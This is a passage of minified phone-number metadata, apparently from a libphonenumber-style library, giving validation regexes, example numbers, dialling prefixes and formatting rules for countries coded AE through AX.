[,,"900[02]\\d{5}",,,,"900234567",,,[9]],[,,"700[05]\\d{5}",,,,"700012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AE",971,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2,9})","$1 $2",["60|8"]],[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[236]|[479][2-8]"],"0$1"],[,"(\\d{3})(\\d)(\\d{5})","$1 $2 $3",["[479]"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["5"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"600[25]\\d{5}",,,,"600212345",,,[9]],,,[,,,,,,,,,[-1]]],AF:[,[,,"[2-7]\\d{8}",,,,,,,[9],[7]],[,,"(?:[25][0-8]|[34][0-4]|6[0-5])[2-9]\\d{6}",
,,,"234567890",,,,[7]],[,,"7\\d{8}",,,,"701234567",,,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AF",93,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[1-9]"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[2-7]"],"0$1"]],[[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[2-7]"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AG:[,[,,"(?:268|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"268(?:4(?:6[0-38]|84)|56[0-2])\\d{4}",,,,"2684601234",
,,,[7]],[,,"268(?:464|7(?:1[3-9]|[28]\\d|3[0246]|64|7[0-689]))\\d{4}",,,,"2684641234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,"26848[01]\\d{4}",,,,"2684801234",,,,[7]],
"AG",1,"011","1",,,"([457]\\d{6})$|1","268$1",,,,,[,,"26840[69]\\d{4}",,,,"2684061234",,,,[7]],,"268",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AI:[,[,,"(?:264|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"264(?:292|4(?:6[12]|9[78]))\\d{4}",,,,"2644612345",,,,[7]],[,,"264(?:235|4(?:69|76)|5(?:3[6-9]|8[1-4])|7(?:29|72))\\d{4}",,,,"2642351234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"AI",1,"011","1",,,"([2457]\\d{6})$|1","264$1",,,,,[,,"264724\\d{4}",,,,"2647241234",,,,[7]],,"264",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AL:[,[,,"(?:700\\d\\d|900)\\d{3}|8\\d{5,7}|(?:[2-5]|6\\d)\\d{7}",,,,,,,[6,7,8,9],[5]],[,,"4505[0-2]\\d{3}|(?:[2358][16-9]\\d[2-9]|4410)\\d{4}|(?:[2358][2-5][2-9]|4(?:[2-57-9][2-9]|6\\d))\\d{5}",,,,"22345678",,,[8],[5,6,7]],[,,"6(?:[78][2-9]|9\\d)\\d{6}",,,,"672123456",,,[9]],[,,"800\\d{4}",,,,"8001234",,,[7]],[,,"900[1-9]\\d\\d",
,,,"900123",,,[6]],[,,"808[1-9]\\d\\d",,,,"808123",,,[6]],[,,"700[2-9]\\d{4}",,,,"70021234",,,[8]],[,,,,,,,,,[-1]],"AL",355,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3,4})","$1 $2",["80|9"],"0$1"],[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["4[2-6]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2358][2-5]|4"],"0$1"],[,"(\\d{3})(\\d{5})","$1 $2",["[23578]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["6"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AM:[,[,,"(?:[1-489]\\d|55|60|77)\\d{6}",
,,,,,,[8],[5,6]],[,,"(?:(?:1[0-25]|47)\\d|2(?:2[2-46]|3[1-8]|4[2-69]|5[2-7]|6[1-9]|8[1-7])|3[12]2)\\d{5}",,,,"10123456",,,,[5,6]],[,,"(?:33|4[1349]|55|77|88|9[13-9])\\d{6}",,,,"77123456"],[,,"800\\d{5}",,,,"80012345"],[,,"90[016]\\d{5}",,,,"90012345"],[,,"80[1-4]\\d{5}",,,,"80112345"],[,,,,,,,,,[-1]],[,,"60(?:2[78]|3[5-9]|4[02-9]|5[0-46-9]|[6-8]\\d|9[0-2])\\d{4}",,,,"60271234"],"AM",374,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[89]0"],"0 $1"],[,"(\\d{3})(\\d{5})","$1 $2",["2|3[12]"],
"(0$1)"],[,"(\\d{2})(\\d{6})","$1 $2",["1|47"],"(0$1)"],[,"(\\d{2})(\\d{6})","$1 $2",["[3-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AO:[,[,,"[29]\\d{8}",,,,,,,[9]],[,,"2\\d(?:[0134][25-9]|[25-9]\\d)\\d{5}",,,,"222123456"],[,,"9[1-79]\\d{7}",,,,"923123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AO",244,"00",,,,,,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[29]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
,,[,,,,,,,,,[-1]]],AR:[,[,,"(?:11|[89]\\d\\d)\\d{8}|[2368]\\d{9}",,,,,,,[10,11],[6,7,8]],[,,"3(?:7(?:1[15]|81)|8(?:21|4[16]|69|9[12]))[46]\\d{5}|(?:2(?:657|9(?:54|66))|3(?:7(?:55|77)|865))[2-8]\\d{5}|(?:2(?:2(?:2[59]|44|52)|3(?:26|44)|473|9(?:[07]2|2[26]|34|46))|3327)[45]\\d{5}|(?:2(?:284|3(?:02|23)|920)|3(?:4(?:46|8[27]|92)|541|878))[2-7]\\d{5}|(?:2(?:(?:26|62)2|320|477|9(?:42|83))|3(?:329|4(?:62|76|89)|564))[2-6]\\d{5}|(?:(?:11[1-8]|670)\\d|2(?:2(?:0[45]|1[2-6]|3[3-6])|3(?:[06]4|7[45])|494|6(?:04|1[2-8]|[36][45]|4[3-6])|80[45]|9(?:[17][4-6]|[48][45]|9[3-6]))|3(?:364|4(?:1[2-8]|[25][4-6]|3[3-6]|84)|5(?:1[2-9]|[38][4-6])|6(?:2[45]|44)|7[069][45]|8(?:0[45]|[17][2-6]|3[4-6]|5[3-6]|8[3-68])))\\d{6}|2(?:2(?:21|4[23]|6[145]|7[1-4]|8[356]|9[267])|3(?:16|3[13-8]|43|5[346-8]|9[3-5])|475|6(?:2[46]|4[78]|5[1568])|9(?:03|2[1457-9]|3[1356]|4[08]|[56][23]|82))4\\d{5}|(?:2(?:2(?:57|81)|3(?:24|46|92)|9(?:01|23|64))|3(?:4(?:42|71)|5(?:25|37|4[347]|71)|7(?:18|35|5[17])))[3-6]\\d{5}|(?:2(?:2(?:02|2[3467]|4[156]|5[45]|6[6-8]|91)|3(?:1[47]|25|[45][25]|96)|47[48]|625|932)|3(?:38[2578]|4(?:0[0-24-9]|3[78]|4[457]|58|6[03-9]|72|83|9[136-8])|5(?:2[124]|[368][23]|4[2689]|7[2-6])|7(?:16|2[15]|3[14]|4[13]|5[468]|7[2-5]|8[26])|8(?:2[5-7]|3[278]|4[3-5]|5[78]|6[1-378]|[78]7|94)))[4-6]\\d{5}",
,,,"1123456789",,,[10],[6,7,8]],[,,"93(?:7(?:1[15]|81)|8(?:21|4[16]|69|9[12]))[46]\\d{5}|9(?:2(?:657|9(?:54|66))|3(?:7(?:55|77)|865))[2-8]\\d{5}|9(?:2(?:2(?:2[59]|44|52)|3(?:26|44)|473|9(?:[07]2|2[26]|34|46))|3327)[45]\\d{5}|9(?:2(?:284|3(?:02|23)|920)|3(?:4(?:46|8[27]|92)|541|878))[2-7]\\d{5}|9(?:2(?:(?:26|62)2|320|477|9(?:42|83))|3(?:329|4(?:62|76|89)|564))[2-6]\\d{5}|(?:675\\d|9(?:11[1-8]\\d|2(?:2(?:0[45]|1[2-6]|3[3-6])|3(?:[06]4|7[45])|494|6(?:04|1[2-8]|[36][45]|4[3-6])|80[45]|9(?:[17][4-6]|[48][45]|9[3-6]))|3(?:364|4(?:1[2-8]|[25][4-6]|3[3-6]|84)|5(?:1[2-9]|[38][4-6])|6(?:2[45]|44)|7[069][45]|8(?:0[45]|[17][2-6]|3[4-6]|5[3-6]|8[3-68]))))\\d{6}|92(?:2(?:21|4[23]|6[145]|7[1-4]|8[356]|9[267])|3(?:16|3[13-8]|43|5[346-8]|9[3-5])|475|6(?:2[46]|4[78]|5[1568])|9(?:03|2[1457-9]|3[1356]|4[08]|[56][23]|82))4\\d{5}|9(?:2(?:2(?:57|81)|3(?:24|46|92)|9(?:01|23|64))|3(?:4(?:42|71)|5(?:25|37|4[347]|71)|7(?:18|35|5[17])))[3-6]\\d{5}|9(?:2(?:2(?:02|2[3467]|4[156]|5[45]|6[6-8]|91)|3(?:1[47]|25|[45][25]|96)|47[48]|625|932)|3(?:38[2578]|4(?:0[0-24-9]|3[78]|4[457]|58|6[03-9]|72|83|9[136-8])|5(?:2[124]|[368][23]|4[2689]|7[2-6])|7(?:16|2[15]|3[14]|4[13]|5[468]|7[2-5]|8[26])|8(?:2[5-7]|3[278]|4[3-5]|5[78]|6[1-378]|[78]7|94)))[4-6]\\d{5}",
,,,"91123456789",,,,[6,7,8]],[,,"800\\d{7,8}",,,,"8001234567"],[,,"60[04579]\\d{7}",,,,"6001234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AR",54,"00","0",,,"0?(?:(11|2(?:2(?:02?|[13]|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:02?|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8]|[67])|4(?:7[3-578]|9)|6(?:[0136]|2[24-6]|4[6-8]?|5[15-8])|80|9(?:0[1-3]|[19]|2\\d|3[1-6]|4[02568]?|5[2-4]|6[2-46]|72?|8[23]?))|3(?:3(?:2[79]|6|8[2578])|4(?:0[0-24-9]|[12]|3[5-8]?|4[24-7]|5[4-68]?|6[02-9]|7[126]|8[2379]?|9[1-36-8])|5(?:1|2[1245]|3[237]?|4[1-46-9]|6[2-4]|7[1-6]|8[2-5]?)|6[24]|7(?:[069]|1[1568]|2[15]|3[145]|4[13]|5[14-8]|7[2-57]|8[126])|8(?:[01]|2[15-7]|3[2578]?|4[13-6]|5[4-8]?|6[1-357-9]|7[36-8]?|8[5-8]?|9[124])))15)?",
"9$1",,,[[,"(\\d{3})","$1",["0|1(?:0[0-35-7]|1[02-5]|2[015]|3[47]|4[478])|911"]],[,"(\\d{2})(\\d{4})","$1-$2",["[1-9]"]],[,"(\\d{3})(\\d{4})","$1-$2",["[2-9]"]],[,"(\\d{4})(\\d{4})","$1-$2",["[1-8]"]],[,"(\\d{4})(\\d{2})(\\d{4})","$1 $2-$3",["2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9])","2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8]))|2(?:2[24-9]|3[1-59]|47)",
"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5[56][46]|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]","2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|58|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|54(?:4|5[13-7]|6[89])|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:454|85[56])[46]|3(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]"],
"0$1",,1],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["1"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[68]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2-$3",["[23]"],"0$1",,1],[,"(\\d)(\\d{4})(\\d{2})(\\d{4})","$2 15-$3-$4",["9(?:2[2-469]|3[3-578])","9(?:2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9]))","9(?:2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8])))|92(?:2[24-9]|3[1-59]|47)",
"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5(?:[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]","9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|5(?:4(?:4|5[13-7]|6[89])|[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]"],
"0$1"],[,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$2 15-$3-$4",["91"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{5})","$1-$2-$3",["8"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$2 15-$3-$4",["9"],"0$1"]],[[,"(\\d{4})(\\d{2})(\\d{4})","$1 $2-$3",["2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9])","2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8]))|2(?:2[24-9]|3[1-59]|47)",
"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5[56][46]|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]","2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|58|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|54(?:4|5[13-7]|6[89])|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:454|85[56])[46]|3(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]"],
"0$1",,1],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["1"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[68]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2-$3",["[23]"],"0$1",,1],[,"(\\d)(\\d{4})(\\d{2})(\\d{4})","$1 $2 $3-$4",["9(?:2[2-469]|3[3-578])","9(?:2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9]))","9(?:2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8])))|92(?:2[24-9]|3[1-59]|47)",
"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5(?:[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]","9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|5(?:4(?:4|5[13-7]|6[89])|[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]"]],
[,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3-$4",["91"]],[,"(\\d{3})(\\d{3})(\\d{5})","$1-$2-$3",["8"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3-$4",["9"]]],[,,,,,,,,,[-1]],,,[,,"810\\d{7}",,,,,,,[10]],[,,"810\\d{7}",,,,"8101234567",,,[10]],,,[,,,,,,,,,[-1]]],AS:[,[,,"(?:[58]\\d\\d|684|900)\\d{7}",,,,,,,[10],[7]],[,,"6846(?:22|33|44|55|77|88|9[19])\\d{4}",,,,"6846221234",,,,[7]],[,,"684(?:2(?:48|5[2468]|7[26])|7(?:3[13]|70|82))\\d{4}",,,,"6847331234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",
,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"AS",1,"011","1",,,"([267]\\d{6})$|1","684$1",,,,,[,,,,,,,,,[-1]],,"684",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AT:[,[,,"1\\d{3,12}|2\\d{6,12}|43(?:(?:0\\d|5[02-9])\\d{3,9}|2\\d{4,5}|[3467]\\d{4}|8\\d{4,6}|9\\d{4,7})|5\\d{4,12}|8\\d{7,12}|9\\d{8,12}|(?:[367]\\d|4[0-24-9])\\d{4,11}",
,,,,,,[4,5,6,7,8,9,10,11,12,13],[3]],[,,"1(?:11\\d|[2-9]\\d{3,11})|(?:316|463|(?:51|66|73)2)\\d{3,10}|(?:2(?:1[467]|2[13-8]|5[2357]|6[1-46-8]|7[1-8]|8[124-7]|9[1458])|3(?:1[1-578]|3[23568]|4[5-7]|5[1378]|6[1-38]|8[3-68])|4(?:2[1-8]|35|7[1368]|8[2457])|5(?:2[1-8]|3[357]|4[147]|5[12578]|6[37])|6(?:13|2[1-47]|4[135-8]|5[468])|7(?:2[1-8]|35|4[13478]|5[68]|6[16-8]|7[1-6]|9[45]))\\d{4,10}",,,,"1234567890",,,,[3]],[,,"6(?:5[0-3579]|6[013-9]|[7-9]\\d)\\d{4,10}",,,,"664123456",,,[7,8,9,10,11,12,13]],[,,"800\\d{6,10}",
,,,"800123456",,,[9,10,11,12,13]],[,,"(?:8[69][2-68]|9(?:0[01]|3[019]))\\d{6,10}",,,,"900123456",,,[9,10,11,12,13]],[,,"8(?:10|2[018])\\d{6,10}|828\\d{5}",,,,"810123456",,,[8,9,10,11,12,13]],[,,,,,,,,,[-1]],[,,"5(?:0[1-9]|17|[79]\\d)\\d{2,10}|7[28]0\\d{6,10}",,,,"780123456",,,[5,6,7,8,9,10,11,12,13]],"AT",43,"00","0",,,"0",,,,[[,"(\\d{4})","$1",["14"]],[,"(\\d)(\\d{3,12})","$1 $2",["1(?:11|[2-9])"],"0$1"],[,"(\\d{3})(\\d{2})","$1 $2",["517"],"0$1"],[,"(\\d{2})(\\d{3,5})","$1 $2",["5[079]"],"0$1"],
[,"(\\d{6})","$1",["[18]"]],[,"(\\d{3})(\\d{3,10})","$1 $2",["(?:31|4)6|51|6(?:5[0-3579]|[6-9])|7(?:20|32|8)|[89]"],"0$1"],[,"(\\d{4})(\\d{3,9})","$1 $2",["[2-467]|5[2-6]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["5"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4,7})","$1 $2 $3",["5"],"0$1"]],[[,"(\\d)(\\d{3,12})","$1 $2",["1(?:11|[2-9])"],"0$1"],[,"(\\d{3})(\\d{2})","$1 $2",["517"],"0$1"],[,"(\\d{2})(\\d{3,5})","$1 $2",["5[079]"],"0$1"],[,"(\\d{3})(\\d{3,10})","$1 $2",["(?:31|4)6|51|6(?:5[0-3579]|[6-9])|7(?:20|32|8)|[89]"],
"0$1"],[,"(\\d{4})(\\d{3,9})","$1 $2",["[2-467]|5[2-6]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["5"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4,7})","$1 $2 $3",["5"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AU:[,[,,"1(?:[0-79]\\d{7}(?:\\d(?:\\d{2})?)?|8[0-24-9]\\d{7})|[2-478]\\d{8}|1\\d{4,7}",,,,,,,[5,6,7,8,9,10,12]],[,,"(?:(?:(?:2(?:[0-26-9]\\d|3[0-8]|4[02-9]|5[0135-9])|7(?:[013-57-9]\\d|2[0-8]))\\d|3(?:(?:[0-3589]\\d|6[1-9]|7[0-35-9])\\d|4(?:[0-578]\\d|90)))\\d\\d|8(?:51(?:0(?:0[03-9]|[12479]\\d|3[2-9]|5[0-8]|6[1-9]|8[0-7])|1(?:[0235689]\\d|1[0-69]|4[0-589]|7[0-47-9])|2(?:0[0-79]|[18][13579]|2[14-9]|3[0-46-9]|[4-6]\\d|7[89]|9[0-4])|3\\d\\d)|(?:6[0-8]|[78]\\d)\\d{3}|9(?:[02-9]\\d{3}|1(?:(?:[0-58]\\d|6[0135-9])\\d|7(?:0[0-24-9]|[1-9]\\d)|9(?:[0-46-9]\\d|5[0-79])))))\\d{3}",
,,,"212345678",,,[9],[8]],[,,"4(?:79[01]|83[0-389]|94[0-4])\\d{5}|4(?:[0-36]\\d|4[047-9]|5[0-25-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\d{6}",,,,"412345678",,,[9]],[,,"180(?:0\\d{3}|2)\\d{3}",,,,"1800123456",,,[7,10]],[,,"190[0-26]\\d{6}",,,,"1900123456",,,[10]],[,,"13(?:00\\d{6}(?:\\d{2})?|45[0-4]\\d{3})|13\\d{4}",,,,"1300123456",,,[6,8,10,12]],[,,,,,,,,,[-1]],[,,"14(?:5(?:1[0458]|[23][458])|71\\d)\\d{4}",,,,"147101234",,,[9]],"AU",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",,,"(183[12])|0",
,"0011",,[[,"(\\d{2})(\\d{3,4})","$1 $2",["16"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["13"]],[,"(\\d{3})(\\d{3})","$1 $2",["19"]],[,"(\\d{3})(\\d{4})","$1 $2",["180","1802"]],[,"(\\d{4})(\\d{3,4})","$1 $2",["19"]],[,"(\\d{2})(\\d{3})(\\d{2,4})","$1 $2 $3",["16"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["14|4"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["[2378]"],"(0$1)","$CC ($1)"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:30|[89])"]],[,"(\\d{4})(\\d{4})(\\d{4})","$1 $2 $3",
["130"]]],[[,"(\\d{2})(\\d{3,4})","$1 $2",["16"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2,4})","$1 $2 $3",["16"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["14|4"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["[2378]"],"(0$1)","$CC ($1)"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:30|[89])"]]],[,,"163\\d{2,6}",,,,"1631234",,,[5,6,7,8,9]],1,,[,,"1(?:3(?:00\\d{5}|45[0-4])|802)\\d{3}|1[38]00\\d{6}|13\\d{4}",,,,,,,[6,7,8,10,12]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AW:[,[,,"(?:[25-79]\\d\\d|800)\\d{4}",
,,,,,,[7]],[,,"5(?:2\\d|8[1-9])\\d{4}",,,,"5212345"],[,,"(?:290|5[69]\\d|6(?:[03]0|22|4[0-2]|[69]\\d)|7(?:[34]\\d|7[07])|9(?:6[45]|9[4-8]))\\d{4}",,,,"5601234"],[,,"800\\d{4}",,,,"8001234"],[,,"900\\d{4}",,,,"9001234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:28\\d|501)\\d{4}",,,,"5011234"],"AW",297,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[25-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AX:[,[,,"2\\d{4,9}|35\\d{4,5}|(?:60\\d\\d|800)\\d{4,6}|7\\d{5,11}|(?:[14]\\d|3[0-46-9]|50)\\d{4,8}",
